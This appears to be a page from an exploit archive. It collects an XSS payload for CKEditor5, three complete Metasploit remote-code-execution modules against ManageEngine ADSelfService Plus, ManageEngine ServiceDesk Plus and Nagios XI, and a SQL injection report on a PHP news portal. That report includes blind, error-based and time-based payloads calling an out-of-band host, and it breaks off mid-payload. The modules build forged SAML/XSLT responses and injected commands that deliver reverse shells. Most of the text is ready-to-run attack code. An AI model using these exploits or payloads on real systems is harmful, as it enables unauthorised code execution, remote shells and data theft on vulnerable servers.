<pre><code># Exploit Title: Cross Site Scripting in CKSource's CKEditor5 35.4.0<br /># Google Dork: N/A<br /># Date: February 09, 2023<br /># Exploit Author: Manish Pathak<br /># Vendor Homepage: https://cksource.com/<br /># Software Link: https://ckeditor.com/ckeditor-5/download/<br /># Version: 35.4.0<br /># Tested on: Linux / Web<br /># CVE : CVE-2022-48110<br /><br /><br /><br />CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting<br />(XSS) vulnerability via Full Featured CKEditor5 Widget as the editor fails<br />to sanitize user provided data.<br /><br />An attacker can execute arbitrary script in the browser in the context of<br />the affected site. This can allow the attacker to steal cookie-based<br />authentication credentials and launch other attacks.<br /><br />CKEditor5 version 35.4.0 is tested & found to be vulnerable.<br /><br />Documentation avaiable at<br />https://ckeditor.com/docs/ckeditor5/latest/features/html-embed.html#security<br /><br />Security Docs Says """The HTML embed feature does not currently execute<br />code in <script> tags. However, it will execute code in the on* and<br />src="javascript:..." attributes."""<br /><br /><br /><br />Payload:<br /><br /><div class="raw-html-embed"><br /> <script>alert(456)</script><br /></div><br /></code></pre>
<pre><code># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',<br /> 'Description' => %q{<br /> This exploits an unauthenticated remote code execution vulnerability<br /> that affects Zoho ManageEngine AdSelfService Plus versions 6210 and<br /> below (CVE-2022-47966). Due to a dependency to an outdated library<br /> (Apache Santuario version 1.4.1), it is possible to execute arbitrary<br /> code by providing a crafted `samlResponse` XML to the ADSelfService Plus<br /> SAML endpoint. Note that the target is only vulnerable if it has been<br /> configured with SAML-based SSO at least once in the past, regardless of<br /> the current SAML-based SSO status.<br /> },<br /> 'Author' => [<br /> 'Khoa Dinh', # Original research<br /> 'horizon3ai', # PoC<br /> 'Christophe De La Fuente' # Metasploit module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2022-47966'],<br /> ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],<br /> ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],<br /> ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],<br /> ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']<br /> ],<br /> 'Platform' => ['win'],<br /> 'Payload' => {<br /> 'BadChars' => "\x27"<br /> },<br /> 'Targets' => [<br /> [<br /> 'Windows EXE Dropper',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :windows_dropper,<br /> 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Windows Command',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :windows_command,<br /> 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }<br /> }<br /> ]<br /> ],<br /> 'DefaultOptions' => {<br /> 'RPORT' => 9251,<br /> 'SSL' => true<br /> },<br /> 'DefaultTarget' => 1,<br /> 'DisclosureDate' => '2023-01-10',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE,],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br /> 'Reliability' => [REPEATABLE_SESSION]<br /> },<br /> 'Privileged' => true<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),<br /> OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),<br /> OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),<br /> OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])<br /> ])<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])<br /> )<br /> return CheckCode::Unknown unless res<br /><br /> return CheckCode::Safe unless res.code == 200<br /><br /> product = res.get_html_document.xpath('//title').first&.text<br /> unless product == 'ADSelfService Plus'<br /> return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")<br /> end<br /><br /> CheckCode::Detected<br /> end<br /><br /> def encode_begin(real_payload, reqs)<br /> super<br /><br /> reqs['EncapsulationRoutine'] = proc do |_reqs, raw|<br /> raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw<br /> end<br /> end<br /><br /> def exploit<br /> case target['Type']<br /> when :windows_command<br /> execute_command(payload.encoded)<br /> when :windows_dropper<br /> execute_cmdstager<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> if target['Type'] == :windows_dropper<br /> cmd = "cmd /c #{cmd}"<br /> end<br /> cmd = cmd.encode(xml: :attr).gsub('"', '')<br /><br /> assertion_id = "_#{SecureRandom.uuid}"<br /> # Randomize variable names and make sure they are all different using a Set<br /> vars = Set.new<br /> loop do<br /> vars << Rex::Text.rand_text_alpha_lower(5..8)<br /> break unless vars.size < 3<br /> end<br /> vars = vars.to_a<br /> saml = <<~EOS<br /> <?xml version="1.0" encoding="UTF-8"?><br /> <samlp:Response<br /> ID="_#{SecureRandom.uuid}"<br /> InResponseTo="_#{Rex::Text.rand_text_hex(32)}"<br /> IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><br /> <samlp:Status><br /> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/><br /> </samlp:Status><br /> <Assertion ID="#{assertion_id}"<br /> IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"><br /> <Issuer>#{datastore['ISSUER_URL']}</Issuer><br /> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><br /> <ds:SignedInfo><br /> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><br /> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><br /> <ds:Reference URI="##{assertion_id}"><br /> <ds:Transforms><br /> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><br /> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><br /> <xsl:stylesheet version="1.0"<br /> xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"<br /> xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><br /> <xsl:template match="/"><br /> <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/><br /> <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/><br /> <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/><br /> <xsl:value-of select="$#{vars[2]}"/><br /> </xsl:template><br /> </xsl:stylesheet><br /> </ds:Transform><br /> </ds:Transforms><br /> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><br /> <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue><br /> </ds:Reference><br /> </ds:SignedInfo><br /> <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue><br /> <ds:KeyInfo/><br /> </ds:Signature><br /> </Assertion><br /> </samlp:Response><br /> EOS<br /><br /> relay_state_url = datastore['RELAY_STATE']<br /> if relay_state_url.blank?<br /> relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"<br /> end<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),<br /> 'vars_get' => {<br /> 'RelayState' => Rex::Text.encode_base64(relay_state_url)<br /> },<br /> 'vars_post' => {<br /> 'SAMLResponse' => Rex::Text.encode_base64(saml)<br /> }<br /> })<br /><br /> unless res&.code == 200<br /> fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")<br /> end<br /><br /> res<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::NagiosXi<br /> include Msf::Exploit::CmdStager<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',<br /> 'Description' => %q{<br /> This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are<br /> OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm<br /> configuration wizards that allow an authenticated user to perform remote code<br /> execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.<br /><br /> Valid credentials for a Nagios XI user are required. This module has<br /> been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Matthew Mathur'<br /> ],<br /> 'References' => [<br /> ['CVE', '2021-25296'],<br /> ['CVE', '2021-25297'],<br /> ['CVE', '2021-25298'],<br /> ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']<br /> ],<br /> 'Platform' => %w[linux unix],<br /> 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],<br /> 'Targets' => [<br /> [<br /> 'Linux (x86)', {<br /> 'Arch' => [ ARCH_X86 ],<br /> 'Platform' => 'linux',<br /> 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Linux (x64)', {<br /> 'Arch' => [ ARCH_X64 ],<br /> 'Platform' => 'linux',<br /> 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'CMD', {<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Platform' => 'unix',<br /> # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl<br /> 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }<br /> }<br /> ]<br /> ],<br /> 'Privileged' => false,<br /> 'DefaultTarget' => 2,<br /> 'DisclosureDate' => '2021-02-13',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> }<br /> )<br /> )<br /><br /> register_options [<br /> OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])<br /> ]<br /> end<br /><br /> def username<br /> datastore['USERNAME']<br /> end<br /><br /> def password<br /> datastore['PASSWORD']<br /> end<br /><br /> def finish_install<br /> datastore['FINISH_INSTALL']<br /> end<br /><br /> # Returns a status code an a error message on failure.<br /> # On success returns the status code and an array so we<br /> # can update the login_result and res_array variables appropriately.<br /> def handle_unsigned_license(res_array, username, password, finish_install)<br /> auth_cookies, nsp = res_array<br /> sign_license_result = sign_license_agreement(auth_cookies, nsp)<br /> if sign_license_result<br /> return 5, 'Failed to sign license agreement'<br /> end<br /><br /> print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')<br /> sleep 5<br /> login_result, res_array = login_after_install_or_license(username, password, finish_install)<br /> case login_result<br /> when 1..4 # An error occurred, propagate the error message<br /> return login_result, res_array[0]<br /> when 5 # The Nagios XI license agreement still has not been signed<br /> return 5, 'Failed to sign the license agreement.'<br /> end<br /><br /> return login_result, res_array<br /> end<br /><br /> def authenticate<br /> # Use nagios_xi_login to try and authenticate.<br /> login_result, res_array = nagios_xi_login(username, password, finish_install)<br /> case login_result<br /> when 1..3 # An error occurred, propagate the error message<br /> return login_result, res_array[0]<br /> when 4 # Nagios XI is not fully installed<br /> install_result = install_nagios_xi(password)<br /> if install_result # On installation failure, result is an array with the code and error message<br /> return install_result[0], install_result[1]<br /> end<br /><br /> login_result, res_array = login_after_install_or_license(username, password, finish_install)<br /> case login_result<br /> when 1..4 # An error occurred, propagate the error message<br /> return login_result, res_array[0]<br /> when 5 # The license agreement still needs to be signed<br /> login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)<br /> return login_result, res_array unless (login_result == 0)<br /> end<br /> when 5 # The license agreement still needs to be signed<br /> login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)<br /> return login_result, res_array unless (login_result == 0)<br /> end<br /><br /> print_good('Successfully authenticated to Nagios XI.')<br /> # Extract the authenticated cookies and nsp to use throughout the module<br /> if res_array.length == 2<br /> auth_cookies = res_array[1]<br /> if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)<br /> @auth_cookies = auth_cookies<br /> else<br /> return login_result, 'Failed to extract authentication cookies'<br /> end<br /> nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)<br /> if nsp<br /> @nsp = nsp[1]<br /> else<br /> return login_result, 'Failed to extract nsp string'<br /> end<br /> else<br /> return login_result, 'Failed to extract auth cookies and nsp string'<br /> end<br /><br /> # Set the version here so both check and exploit can use it<br /> nagios_version = nagios_xi_version(res_array[0])<br /> if nagios_version.nil?<br /> return 6, 'Unable to obtain the Nagios XI version from the dashboard'<br /> end<br /><br /> print_status("Target is Nagios XI with version #{nagios_version}.")<br /><br /> # Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,<br /> # so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.<br /> if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'<br /> nagios_version = '1.0.0'<br /> end<br /> @version = Rex::Version.new(nagios_version)<br /><br /> return 0, 'Successfully authenticated and retrieved NagiosXI Version.'<br /> end<br /><br /> def check<br /> # Authenticate to ensure we can access the NagiosXI version<br /> auth_result, err_msg = authenticate<br /> case auth_result<br /> when 1<br /> return CheckCode::Unknown(err_msg)<br /> when 2, 4, 5, 6<br /> return CheckCode::Detected(err_msg)<br /> when 3<br /> return CheckCode::Safe(err_msg)<br /> end<br /><br /> if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')<br /> return CheckCode::Appears<br /> end<br /><br /> return CheckCode::Safe<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check<br /> auth_result, err_msg = authenticate<br /> case auth_result<br /> when 1<br /> fail_with(Failure::Disconnected, err_msg)<br /> when 2, 4, 5, 6<br /> fail_with(Failure::UnexpectedReply, err_msg)<br /> when 3<br /> fail_with(Failure::NotVulnerable, err_msg)<br /> end<br /> end<br /><br /> # execute payload based on the selected targeted configuration wizard<br /> url_params = {<br /> 'update' => 1,<br /> 'nsp' => @nsp<br /> }<br /> # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298<br /> # changes from address to ip_address<br /> if @version <= Rex::Version.new('5.5.7')<br /> address_param = 'address'<br /> else<br /> address_param = 'ip_address'<br /> end<br /><br /> # CVE-2021-25296 affects the windowswmi configuration wizard.<br /> if datastore['TARGET_CVE'] == 'CVE-2021-25296'<br /> url_params = url_params.merge({<br /> 'nextstep' => 3,<br /> 'wizard' => 'windowswmi',<br /> 'ip_address' => Array.new(4) { rand(256) }.join('.'),<br /> 'domain' => Rex::Text.rand_text_alphanumeric(7..15),<br /> 'username' => Rex::Text.rand_text_alphanumeric(7..20),<br /> 'password' => Rex::Text.rand_text_alphanumeric(7..20),<br /> 'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"<br /> })<br /> # CVE-2021-25297 affects the switch configuration wizard.<br /> elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'<br /> url_params = url_params.merge({<br /> 'nextstep' => 3,<br /> 'wizard' => 'switch',<br /> address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",<br /> 'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),<br /> 'scaninterfaces' => 'on'<br /> })<br /> # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by<br /> # specifying the digitalocean option for the wizard parameter.<br /> elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'<br /> url_params = url_params.merge({<br /> address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",<br /> 'nextstep' => 4,<br /> 'wizard' => 'digitalocean'<br /> })<br /> else<br /> fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')<br /> end<br /><br /> print_status('Sending the payload...')<br /> # Send the final request. Note that the target is not expected to respond if we get<br /> # code execution. Therefore, we set the timeout on this request to 0.<br /> send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => '/nagiosxi/config/monitoringwizard.php',<br /> 'cookie' => @auth_cookies,<br /> 'vars_get' => url_params<br /> })<br /> end<br /><br /> def exploit<br /> if target.arch.first == ARCH_CMD<br /> execute_command(payload.encoded)<br /> else<br /> execute_cmdstager(background: true)<br /> end<br /> end<br />end<br /></code></pre>
<pre><code># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',<br /> 'Description' => %q{<br /> This exploits an unauthenticated remote code execution vulnerability<br /> that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and<br /> below (CVE-2022-47966). Due to a dependency to an outdated library<br /> (Apache Santuario version 1.4.1), it is possible to execute arbitrary<br /> code by providing a crafted `samlResponse` XML to the ServiceDesk Plus<br /> SAML endpoint. Note that the target is only vulnerable if it has been<br /> configured with SAML-based SSO at least once in the past, regardless of<br /> the current SAML-based SSO status.<br /> },<br /> 'Author' => [<br /> 'Khoa Dinh', # Original research<br /> 'horizon3ai', # PoC<br /> 'Christophe De La Fuente' # Metasploit module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2022-47966'],<br /> ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],<br /> ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],<br /> ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],<br /> ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']<br /> ],<br /> 'Platform' => ['win', 'unix', 'linux'],<br /> 'Payload' => {<br /> 'BadChars' => "\x27"<br /> },<br /> 'Targets' => [<br /> [<br /> 'Windows EXE Dropper',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :windows_dropper,<br /> 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Windows Command',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :windows_command,<br /> 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :linux_dropper,<br /> 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },<br /> 'CmdStagerFlavor' => %w[curl wget echo lwprequest]<br /> }<br /> ]<br /> ],<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8080<br /> },<br /> 'DefaultTarget' => 1,<br /> 'DisclosureDate' => '2023-01-10',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE,],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br /> 'Reliability' => [REPEATABLE_SESSION]<br /> },<br /> 'Privileged' => true<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),<br /> OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])<br /> ])<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(datastore['TARGETURI'])<br /> )<br /> return CheckCode::Unknown unless res<br /><br /> # vulnerable servers respond with 400 and a HTML body<br /> return CheckCode::Safe unless res.code == 400<br /><br /> script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')<br /> info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)<br /> return CheckCode::Unknown unless info<br /> unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'<br /> return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")<br /> end<br /><br /> # SAML 2.0 support has been added in build 10511<br /> # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105<br /> build = Rex::Version.new(info[:build])<br /> unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')<br /> return CheckCode::Safe("Target build is #{info[:build]}")<br /> end<br /><br /> CheckCode::Appears<br /> end<br /><br /> def encode_begin(real_payload, reqs)<br /> super<br /><br /> reqs['EncapsulationRoutine'] = proc do |_reqs, raw|<br /> raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw<br /> end<br /> end<br /><br /> def exploit<br /> case target['Type']<br /> when :windows_command, :unix_cmd<br /> execute_command(payload.encoded)<br /> when :windows_dropper, :linux_dropper<br /> execute_cmdstager(delay: datastore['DELAY'])<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> case target['Type']<br /> when :windows_dropper<br /> cmd = "cmd /c #{cmd}"<br /> when :unix_cmd, :linux_dropper<br /> cmd = cmd.gsub(' ') { '${IFS}' }<br /> cmd = "bash -c #{cmd}"<br /> end<br /> cmd = cmd.encode(xml: :attr).gsub('"', '')<br /><br /> assertion_id = "_#{SecureRandom.uuid}"<br /> # Randomize variable names and make sure they are all different using a Set<br /> vars = Set.new<br /> loop do<br /> vars << Rex::Text.rand_text_alpha_lower(5..8)<br /> break unless vars.size < 3<br /> end<br /> vars = vars.to_a<br /> saml = <<~EOS<br /> <?xml version="1.0" encoding="UTF-8"?><br /> <samlp:Response<br /> ID="_#{SecureRandom.uuid}"<br /> InResponseTo="_#{Rex::Text.rand_text_hex(32)}"<br /> IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><br /> <samlp:Status><br /> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/><br /> </samlp:Status><br /> <Assertion ID="#{assertion_id}"<br /> IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"><br /> <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer><br /> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><br /> <ds:SignedInfo><br /> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><br /> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><br /> <ds:Reference URI="##{assertion_id}"><br /> <ds:Transforms><br /> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><br /> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><br /> <xsl:stylesheet version="1.0"<br /> xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"<br /> xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><br /> <xsl:template match="/"><br /> <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/><br /> <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/><br /> <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/><br /> <xsl:value-of select="$#{vars[2]}"/><br /> </xsl:template><br /> </xsl:stylesheet><br /> </ds:Transform><br /> </ds:Transforms><br /> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><br /> <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue><br /> </ds:Reference><br /> </ds:SignedInfo><br /> <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue><br /> <ds:KeyInfo/><br /> </ds:Signature><br /> </Assertion><br /> </samlp:Response><br /> EOS<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI']),<br /> 'vars_post' => {<br /> 'SAMLResponse' => Rex::Text.encode_base64(saml)<br /> }<br /> })<br /><br /> unless res&.code == 500<br /> lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)<br /> unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }<br /> elog("Unkown error returned:\n#{lines.join("\n")}")<br /> fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")<br /> end<br /> fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')<br /> end<br /><br /> res<br /> end<br /><br />end<br /></code></pre>
<pre><code>## Title: 101news-by-Mayuri-K-1.0 Multiple-SQLi<br />## Author: nu11secur1ty<br />## Date: 02.02.2023<br />## Vendor: https://mayurik.com/<br />## Software: https://mayurik.com/source-code/P4030/news-portal-project-in-php<br />## Reference: https://portswigger.net/web-security/sql-injection<br /><br />## Description:<br />The `comment` parameter appears to be vulnerable to SQL injection attacks.<br />The payload '+(select<br />load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+'<br />was submitted in the comment parameter.<br />This payload injects a SQL sub-query that calls MySQL's load_file<br />function with a UNC file path that references a URL on an external<br />domain.<br />The application interacted with that domain, indicating that the<br />injected SQL query was executed. This system is absolutely<br />UNPROTECTED!<br /><br />STATUS: HIGH Vulnerability<br /><br />[+]Payload:<br />```mysql<br />---<br />Parameter: comment (POST)<br /> Type: boolean-based blind<br /> Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY<br />or GROUP BY clause<br /> Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(select<br />load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''<br />RLIKE (SELECT (CASE WHEN (1140=1140) THEN 0x313637353635+(select<br />load_file(0x5c5c5c5c316b6d376233693432716b70346d3269793572797068696f62666838357a796e7071646930626f302e6f6173746966792e636f6d5c5c627866))+''<br />ELSE 0x28 END)) AND 'RBgF'='RBgF&submit=<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(select<br />load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''<br />AND (SELECT 4135 FROM(SELECT COUNT(*),CONCAT(0x71766b6a71,(SELECT<br />(ELT(4135=4135,1))),0x7171627071,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iMBs'='iMBs&submit=<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(select<br />load_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''<br />AND (SELECT 1879 FROM (SELECT(SLEEP(3)))AQLB) AND 'asLq'='asLq&submit=<br 